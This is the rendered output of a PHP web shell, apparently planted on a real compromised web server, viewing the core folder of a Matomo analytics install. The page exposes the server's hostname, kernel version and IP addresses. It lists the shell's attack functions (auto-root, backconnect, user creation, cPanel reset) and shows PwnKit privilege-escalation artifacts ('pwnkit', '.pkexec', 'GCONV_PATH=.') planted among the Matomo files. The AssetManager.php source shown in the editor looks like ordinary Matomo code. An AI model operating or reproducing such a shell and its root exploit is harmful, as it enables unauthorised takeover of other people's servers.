Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.223.119.139
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AssetManager.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Exception; use Piwik\AssetManager\UIAsset; use Piwik\AssetManager\UIAsset\InMemoryUIAsset; use Piwik\AssetManager\UIAsset\OnDiskUIAsset; use Piwik\AssetManager\UIAssetCacheBuster; use Piwik\AssetManager\UIAssetFetcher\JScriptUIAssetFetcher; use Piwik\AssetManager\UIAssetFetcher\StaticUIAssetFetcher; use Piwik\AssetManager\UIAssetFetcher\StylesheetUIAssetFetcher; use Piwik\AssetManager\UIAssetFetcher\PluginUmdAssetFetcher; use Piwik\AssetManager\UIAssetFetcher; use Piwik\AssetManager\UIAssetMerger\JScriptUIAssetMerger; use Piwik\AssetManager\UIAssetMerger\StylesheetUIAssetMerger; use Piwik\Container\StaticContainer; use Piwik\Plugin\Manager; /** * AssetManager is the class used to manage the inclusion of UI assets: * JavaScript and CSS files. * * It performs the following actions: * - Identifies required assets * - Includes assets in the rendered HTML page * - Manages asset merging and minifying * - Manages server-side cache * * Whether assets are included individually or as merged files is defined by * the global option 'disable_merged_assets'. See the documentation in the global * config for more information. */ class AssetManager extends Singleton { const MERGED_CSS_FILE = "asset_manager_global_css.css"; const MERGED_CORE_JS_FILE = "asset_manager_core_js.js"; const MERGED_NON_CORE_JS_FILE = "asset_manager_non_core_js.js"; const CSS_IMPORT_DIRECTIVE = "<link rel=\"stylesheet\" type=\"text/css\" href=\"%s\" />\n"; const JS_IMPORT_DIRECTIVE = "<script type=\"text/javascript\" src=\"%s\"></script>\n"; const JS_DEFER_IMPORT_DIRECTIVE = "<script type=\"text/javascript\" src=\"%s\" defer></script>\n"; const GET_CSS_MODULE_ACTION = "index.php?module=Proxy&action=getCss"; const GET_CORE_JS_MODULE_ACTION = "index.php?module=Proxy&action=getCoreJs"; const GET_NON_CORE_JS_MODULE_ACTION = "index.php?module=Proxy&action=getNonCoreJs"; const GET_JS_UMD_MODULE_ACTION = "index.php?module=Proxy&action=getUmdJs&chunk="; /** * @var UIAssetCacheBuster */ private $cacheBuster; /** * @var UIAssetFetcher */ private $minimalStylesheetFetcher; /** * @var Theme */ private $theme; public function __construct() { $this->cacheBuster = UIAssetCacheBuster::getInstance(); $this->minimalStylesheetFetcher = new StaticUIAssetFetcher(array(), array(), $this->theme); $theme = Manager::getInstance()->getThemeEnabled(); if (!empty($theme)) { $this->theme = new Theme(); } } /** * @inheritDoc * @return AssetManager */ public static function getInstance() { $assetManager = parent::getInstance(); /** * Triggered when creating an instance of the asset manager. Lets you overwrite the * asset manager behavior. * * @param AssetManager &$assetManager * * @ignore * This event is not a public event since we don't want to make the asset manager itself public * API */ Piwik::postEvent('AssetManager.makeNewAssetManagerObject', array(&$assetManager)); return $assetManager; } /** * @param UIAssetCacheBuster $cacheBuster */ public function setCacheBuster($cacheBuster) { $this->cacheBuster = $cacheBuster; } /** * @param UIAssetFetcher $minimalStylesheetFetcher */ public function setMinimalStylesheetFetcher($minimalStylesheetFetcher) { $this->minimalStylesheetFetcher = $minimalStylesheetFetcher; } /** * @param Theme $theme */ public function setTheme($theme) { $this->theme = $theme; } /** * Return CSS file inclusion directive(s) using the markup <link> * * @return string */ public function getCssInclusionDirective() { return sprintf(self::CSS_IMPORT_DIRECTIVE, self::GET_CSS_MODULE_ACTION); } /** * Return JS file inclusion directive(s) using the markup <script> * * @return string */ public function getJsInclusionDirective() { $result = "<script type=\"text/javascript\">\n" . StaticContainer::get('Piwik\Translation\Translator')->getJavascriptTranslations() . "\n</script>"; if ($this->isMergedAssetsDisabled()) { $this->getMergedCoreJSAsset()->delete(); $this->getMergedNonCoreJSAsset()->delete(); $result .= $this->getIndividualCoreAndNonCoreJsIncludes(); } else { $result .= sprintf(self::JS_IMPORT_DIRECTIVE, self::GET_CORE_JS_MODULE_ACTION); $result .= sprintf(self::JS_IMPORT_DIRECTIVE, self::GET_NON_CORE_JS_MODULE_ACTION); $result .= $this->getPluginUmdChunks(); } return $result; } protected function getPluginUmdChunks() { $fetcher = $this->getPluginUmdJScriptFetcher(); $chunks = $fetcher->getChunkFiles(); $result = ''; foreach ($chunks as $chunk) { $src = self::GET_JS_UMD_MODULE_ACTION . urlencode($chunk->getChunkName()); $result .= sprintf(self::JS_DEFER_IMPORT_DIRECTIVE, $src); } return $result; } /** * Return the base.less compiled to css * * @return UIAsset */ public function getCompiledBaseCss() { $mergedAsset = new InMemoryUIAsset(); $assetMerger = new StylesheetUIAssetMerger($mergedAsset, $this->minimalStylesheetFetcher, $this->cacheBuster); $assetMerger->generateFile(); return $mergedAsset; } /** * Return the css merged file absolute location. * If there is none, the generation process will be triggered. * * @return UIAsset */ public function getMergedStylesheet() { $mergedAsset = $this->getMergedStylesheetAsset(); $assetFetcher = new StylesheetUIAssetFetcher(Manager::getInstance()->getLoadedPluginsName(), $this->theme); $assetMerger = new StylesheetUIAssetMerger($mergedAsset, $assetFetcher, $this->cacheBuster); $assetMerger->generateFile(); return $mergedAsset; } /** * Return the core js merged file absolute location. * If there is none, the generation process will be triggered. * * @return UIAsset */ public function getMergedCoreJavaScript() { return $this->getMergedJavascript($this->getCoreJScriptFetcher(), $this->getMergedCoreJSAsset()); } /** * Return the non core js merged file absolute location. * If there is none, the generation process will be triggered. * * @return UIAsset */ public function getMergedNonCoreJavaScript() { return $this->getMergedJavascript($this->getNonCoreJScriptFetcher(), $this->getMergedNonCoreJSAsset()); } /** * Return a chunk JS merged file absolute location. * If there is none, the generation process will be triggered. * * @param string $chunk The name of the chunk. Will either be a plugin name or an integer. * @return UIAsset */ public function getMergedJavaScriptChunk($chunk) { $assetFetcher = $this->getPluginUmdJScriptFetcher($chunk); $outputFile = $assetFetcher->getRequestedChunkOutputFile(); return $this->getMergedJavascript($assetFetcher, $this->getMergedUIAsset($outputFile)); } /** * @param boolean|"all" $core * @return string[] */ public function getLoadedPlugins($core) { $loadedPlugins = array(); foreach (Manager::getInstance()->getPluginsLoadedAndActivated() as $plugin) { $pluginName = $plugin->getPluginName(); $pluginIsCore = Manager::getInstance()->isPluginBundledWithCore($pluginName); if ($core === 'all' || ($pluginIsCore && $core) || (!$pluginIsCore && !$core)) { $loadedPlugins[] = $pluginName; } } return $loadedPlugins; } /** * Remove previous merged assets */ public function removeMergedAssets($pluginName = false) { $assetsToRemove = array($this->getMergedStylesheetAsset()); if ($pluginName) { if ($this->pluginContainsJScriptAssets($pluginName)) { if (Manager::getInstance()->isPluginBundledWithCore($pluginName)) { $assetsToRemove[] = $this->getMergedCoreJSAsset(); } else { $assetsToRemove[] = $this->getMergedNonCoreJSAsset(); } $assetFetcher = $this->getPluginUmdJScriptFetcher(); foreach ($assetFetcher->getChunkFiles() as $chunk) { $files = $chunk->getFiles(); $foundInChunk = false; foreach ($files as $file) { if (strpos($file, "/$pluginName.umd.") !== false) { $foundInChunk = true; } } if ($foundInChunk) { $outputFile = $chunk->getOutputFile(); $asset = $this->getMergedUIAsset($outputFile); if ($asset->exists()) { $assetsToRemove[] = $asset; } break; } } } } else { $assetsToRemove[] = $this->getMergedCoreJSAsset(); $assetsToRemove[] = $this->getMergedNonCoreJSAsset(); $assetFetcher = $this->getPluginUmdJScriptFetcher(); foreach ($assetFetcher->getChunkFiles() as $chunk) { $outputFile = $chunk->getOutputFile(); $asset = $this->getMergedUIAsset($outputFile); if ($asset->exists()) { $assetsToRemove[] = $asset; } } } $this->removeAssets($assetsToRemove); } /** * Check if the merged file directory exists and is writable. * * @return string The directory location * @throws Exception if directory is not writable. */ public function getAssetDirectory() { $mergedFileDirectory = StaticContainer::get('path.tmp') . '/assets'; if (!is_dir($mergedFileDirectory)) { Filesystem::mkdir($mergedFileDirectory); } if (!is_writable($mergedFileDirectory)) { throw new Exception("Directory " . $mergedFileDirectory . " has to be writable."); } return $mergedFileDirectory; } /** * Return the global option disable_merged_assets * * @return boolean */ public function isMergedAssetsDisabled() { if (Config::getInstance()->Development['disable_merged_assets'] == 1) { return true; } if (isset($_GET['disable_merged_assets']) && $_GET['disable_merged_assets'] == 1) { return true; } return false; } /** * @param UIAssetFetcher $assetFetcher * @param UIAsset $mergedAsset * @return UIAsset */ private function getMergedJavascript($assetFetcher, $mergedAsset) { $assetMerger = new JScriptUIAssetMerger($mergedAsset, $assetFetcher, $this->cacheBuster); $assetMerger->generateFile(); return $mergedAsset; } /** * Return individual JS file inclusion directive(s) using the markup <script> * * @return string */ protected function getIndividualCoreAndNonCoreJsIncludes() { return $this->getIndividualJsIncludesFromAssetFetcher($this->getCoreJScriptFetcher()) . $this->getIndividualJsIncludesFromAssetFetcher($this->getNonCoreJScriptFetcher()) . $this->getIndividualJsIncludesFromAssetFetcher($this->getPluginUmdJScriptFetcher()); } /** * @param UIAssetFetcher $assetFetcher * @return string */ protected function getIndividualJsIncludesFromAssetFetcher($assetFetcher) { $jsIncludeString = ''; $assets = $assetFetcher->getCatalog()->getAssets(); foreach ($assets as $jsFile) { $jsFile->validateFile(); $jsIncludeString = $jsIncludeString . sprintf(self::JS_IMPORT_DIRECTIVE, $jsFile->getRelativeLocation()); } return $jsIncludeString; } private function getCoreJScriptFetcher() { return new JScriptUIAssetFetcher($this->getLoadedPlugins(true), $this->theme); } protected function getNonCoreJScriptFetcher() { return new JScriptUIAssetFetcher($this->getLoadedPlugins(false), $this->theme); } protected function getPluginUmdJScriptFetcher($chunk = null) { return new PluginUmdAssetFetcher($this->getLoadedPlugins('all'), $this->theme, $chunk); } /** * @param string $pluginName * @return boolean */ private function pluginContainsJScriptAssets($pluginName) { $fetcher = new JScriptUIAssetFetcher(array($pluginName), $this->theme); try { $assets = $fetcher->getCatalog()->getAssets(); } catch (\Exception $e) { // This can happen when a plugin is not valid (eg. Piwik 1.x format) // When posting the event to the plugin, it returns an exception "Plugin has not been loaded" return false; } $pluginManager = Manager::getInstance(); $plugin = null; if ($pluginManager->isPluginLoaded($pluginName)) { $plugin = $pluginManager->getLoadedPlugin($pluginName); } if ($plugin && $plugin->isTheme()) { $theme = $pluginManager->getTheme($pluginName); $javaScriptFiles = $theme->getJavaScriptFiles(); if (!empty($javaScriptFiles)) { $assets = array_merge($assets, $javaScriptFiles); } } return !empty($assets); } /** * @param UIAsset[] $uiAssets */ public function removeAssets($uiAssets) { foreach ($uiAssets as $uiAsset) { $uiAsset->delete(); } } /** * @return UIAsset */ public function getMergedStylesheetAsset() { return $this->getMergedUIAsset(self::MERGED_CSS_FILE); } /** * @return UIAsset */ private function getMergedCoreJSAsset() { return $this->getMergedUIAsset(self::MERGED_CORE_JS_FILE); } /** * @return UIAsset */ protected function getMergedNonCoreJSAsset() { return $this->getMergedUIAsset(self::MERGED_NON_CORE_JS_FILE); } /** * @param string $fileName * @return UIAsset */ private function getMergedUIAsset($fileName) { return new OnDiskUIAsset($this->getAssetDirectory(), $fileName); } public static function compileCustomStylesheets($files) { $assetManager = new AssetManager(); $fetcher = new StaticUIAssetFetcher($files, $priorityOrder = array(), $theme = null); $assetManager->setMinimalStylesheetFetcher($fetcher); return $assetManager->getCompiledBaseCss()->getContent(); } public static function compileCustomJs($files) { $mergedAsset = new InMemoryUIAsset(); $fetcher = new StaticUIAssetFetcher($files, $priorityOrder = array(), $theme = null); $cacheBuster = UIAssetCacheBuster::getInstance(); $assetMerger = new JScriptUIAssetMerger($mergedAsset, $fetcher, $cacheBuster); $assetMerger->generateFile(); return $mergedAsset->getContent(); } }
Close